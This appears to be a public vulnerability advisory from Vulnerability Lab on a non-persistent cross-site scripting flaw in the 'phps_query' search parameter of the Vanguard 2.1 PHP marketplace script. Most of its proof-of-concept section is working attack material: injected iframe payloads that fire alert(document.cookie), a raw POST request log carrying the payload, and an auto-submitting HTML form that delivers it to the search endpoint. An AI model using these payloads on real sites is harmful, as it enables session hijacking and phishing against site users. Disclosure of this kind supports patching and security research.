Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS)

# Exploit Title: Vanguard 2.1 - 'Search' Cross-Site Scripting (XSS)
# Date: 2021-10-26
# Exploit Author: Vulnerability Lab
# Vendor Homepage: https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
# Version: 2.1

Document Title:
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Vanguard v2.1 - (Search) POST Inject Web Vulnerability


References (Source):
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https://www.vulnerability-lab.com/get_content.php?id=2283


Release Date:
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2021-10-26


Vulnerability Laboratory ID (VL-ID):
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2283


Common Vulnerability Scoring System:
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4


Vulnerability Class:
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Cross Site Scripting - Non Persistent


Current Estimated Price:
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500€ - 1.000€


Product & Service Introduction:
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https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975


Abstract Advisory Information:
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The vulnerability laboratory core research team discovered a post inject web vulnerability in the Vanguard v2.1 cms web-application.


Affected Product(s):
====================
VanguardInfini
Product: Vanguard v2.1 - CMS (PHP) (Web-Application)



Vulnerability Disclosure Timeline:
==================================
2021-10-26: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
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Published


Exploitation Technique:
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Remote


Severity Level:
===============
Medium


Authentication Type:
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Pre Auth (No Privileges or Session)


User Interaction:
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Low User Interaction


Disclosure Type:
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Responsible Disclosure


Technical Details & Description:
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A non-persistent post inject web vulnerability has been discovered in the official Vanguard v2.1 cms web-application.
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user
session data or to manipulate application contents for clients.

The vulnerability is located in the phps_query parameter of the search module. The vulnerability is a classic post
injection web vulnerability with non-persistent attack vector.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable Input(s):
[+] Search

Vulnerable Parameter(s):
[+] phps_query


Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.


Vulnerable Source: search
<div class="ui yellow basic segment"></div>
<div class="ui container" style="margin-top: -0.7em;">
<form method="POST" action="https://vanguard.squamifer.ovh/search">
<div class="ui action input fluid">
<input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" placeholder="Search for a product...">
<button class="ui button" type="submit" name="phps_search"><i class="search icon"></i>Search</button></div></form>
<div class="ui divider"></div>
<div class="ui cards aligned centered">
<div class="alert color blue-color"><div class="ui hidden divider"></div>
<div class="ui icon info message"><i class="help circle icon"></i><div class="content">
<div class="header">No results found for <strong><iframe src=evil.source onload=alert(document.cookie)></strong>.</div></div></div></div>
</div></div></div>


--- PoC Session Logs [POST] ---
https://vanguard.localhost:8080/search
Host: vanguard.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://vanguard.localhost:8080
Connection: keep-alive
Referer: https://vanguard.localhost:8080/
Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8
phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;)
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
pragma: no-cache
cache-control: private
vary: Accept-Encoding


Exploitation: PoC
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://vanguard.localhost:8080/search" method="post">
<input type="text" name="phps_query" value=">%20<iframe src=evil.source onload=alert(document.cookie)>"/>
</form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>


Security Risk:
==============
The security risk of the validation web vulnerability in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


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